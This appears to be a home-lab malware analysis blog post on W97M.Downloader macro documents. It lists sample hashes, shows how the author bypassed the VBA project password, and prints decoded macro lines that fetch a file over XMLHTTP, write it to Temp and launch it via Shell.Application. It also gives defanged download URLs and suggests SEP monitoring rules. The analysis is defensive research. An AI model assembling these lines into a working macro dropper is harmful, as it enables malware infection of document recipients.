I recently saw some spike in W97M.Downloader activity and decided to get more familiar with this threat.

Note: The research has been performed out of working hours in my isolated personal home based lab.


I hope that you find it useful since it shows how you could leverage Symantec Endpoint Protection (SEP) against similar threats.

You will find below following points:




Collected samples are Excel or Word documents having password protected macros.

ac410c5f71d453cab00f24da3a84331a -> 224245.doc
3eeb91a39cde6bcc1e45a16cecd97132 -> BAC_3829413Z.xls
b5153a417ab4e4a2017a08909c771dfd -> ID_032078I.xls
ed3f7389bd63fb1dd6c35279e7009046 -> ID_99630P.xls

Note: Password protection encrypts macro’s content which otherwise can be directly accessed after decompressing document.


The malicious VBA macro is executed via Auto_Open() sub, which is triggered upon opening of the document.

The malicious code simply downloads and executes another threat.

The code itself is obfuscated to mislead the analyst and to extend the analysis time. (Some Examples of obfuscation implemented)

-functions and variable names are incomprehensible
-some functions cannot compile (missing End if etc.)
-some instructions will never evaluate to true
-incomprehensible comments



obfuscated code




The malicious document is password protected. In order to analyze the code you must know the macro’s password or know how to bypass it.
Note: There are probably several ways you could bypass the password here, but the one I used is described below:

-Open the original malicious document in notepad++, then check the length of encoded password:


In that case it was 76 characters.

-Create new macro enabled document and protect VB project with a simple password you know.

-Once you open newly created file in notepad++, you may realize that the password is shorter than the one from malicious document


it has 72 characters length.

In that case, pad the password with zeros until you reach the password length from malicious document. (If the password you created is too long or too short the document may get corrupted)


-Edit original malicious document and replace original password with the one you just modified.

-Once you open the malicious VB Project you should be able to unlock it with newly created password.




I did create small macro for BAC_3829413Z.xls that decrypts the most important parts of the code (See the image below)



Obfuscated Decoded
Set TGSYUXFQMXB = CreateObject(iHBKJghfd(uHBKbefh(“1E2A1E1724646C0B340A123C0212”), uHBKbefh(“5379465A685642”))) Set TGSYUXFQMXB = CreateObject(“MSXML2.XMLHTTP”)

The MSXML2.XMLHTTP will be used to download the file.

TGSYUXFQMXB.Open iHBKJghfd(uHBKbefh(“3F3315”), uHBKbefh(“7876416D73”)), NPXNWYJLLNX, False TGSYUXFQMXB.Open “GET”, NPXNWYJLLNX, False

NPXNWYJLLNX   is Variable == hxxp://

PWRUXELGVAA = TGSYUXFQMXB.responseBodySaving the content of downloaded stream to variable “PWRUXELGVAA”Open SDCAKGZARJY For Binary As #KAEYGHWKCGN

Opens the file, likely for Binary writing


Saving the content of downloaded file from variable “PWRUXELGVAA” to file KAEYGHWKCGN

No need to decode
Set objNotes = CreateObject(iHBKJghfd(uHBKbefh(“2B1907141D4C39011214180119050B171F”), uHBKbefh(“787162”))) Set objNotes = CreateObject(“Shell.Application”)
objNotes.Open Environ(iHBKJghfd(uHBKbefh(“1F23051D”), uHBKbefh(“4B66484D6151”))) & iHBKJghfd(uHBKbefh(“0F3624073626012B271636257D160B31”), uHBKbefh(“537373546370”)) objNotes.Open “C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\EWSUVRXTBUU.exe”

It executes that file via Shell.Application.



-The de-obfuscation would be much faster if I would directly search for following constants:

Set, .Open, environ, object

-Not all samples had obfuscated object declarations, but all of them do contain obfuscation to some extent.



During dynamic analysis in Process Monitor I found some interesting access attempts:

Excel.exe was querying following registry values:

HKCU\Software\Classes\MIME\Database\Content Type\application/octet-stream
HKCR\MIME\Database\Content Type\application/octet-stream

Note: “application/octet-stream” is used to determine the binary file type. I assume that it indicates that Excel was preparing for file download.


Later the file gets downloaded/written in:

C:\Documents and Settings\Administrator\Local Settings\Temp\Temporary Internet Files\Content.IE5\

save malware to disk

Then moved, renamed and executed from there:

C:\Documents and Settings\Administrator\Local Settings\Temp\EWSUVRXTBUU.exe

execute downloaded malware


You could theoretically monitor the activity of office related processes (excel.exe, winword.exe etc.) and see if they are performing similar actions:

-Downloading/writing files (especially executables or archives) to disk
-Executing files (Are office processes supposed to execute custom executables? I guess not…)


This information could allow you to create an Application Control rule in SEPM, that would allow at least monitoring such events.
An administrator can then monitor the logs for these events and take an appropriate action…


All download attempts were sending following User-Agent details:

user agent


You could create a Custom IPS Policy in SEPM that would alert on Office related processes sending mentioned User-Agent … but I guess it’s prone to false positives.



By the time of my analysis all of the servers were offline either not hosting malicious files anymore.
I did a research and found that following samples were used to be downloaded by the files I analyzed.

961aad0fdde2e1b646fd164df226f5dc Bin.exe
cd238c1dab76a4336db727cdcbdcfc13 Test.exe

hxxp://gofoto.dk/js/bin.exe - NOT FOUND
hxxp://KAFILATRAVEL.COM/js/bin.exe - OK - Bin.exe
hxxp://aircraftpolish.com/js/bin.exe - NOT FOUND
hxxp:// - OK - Test.exe
hxxp:// - OK - Test.exe
hxxp:// - OK - Test.exe
hxxp:// - - OK - Test.exe

I am going to analyze them later on, when time allows.





All opinions and rants expressed are solely my own and do not express the views or opinions of my employer

All content and data is my own and does not represent work I have done for my employee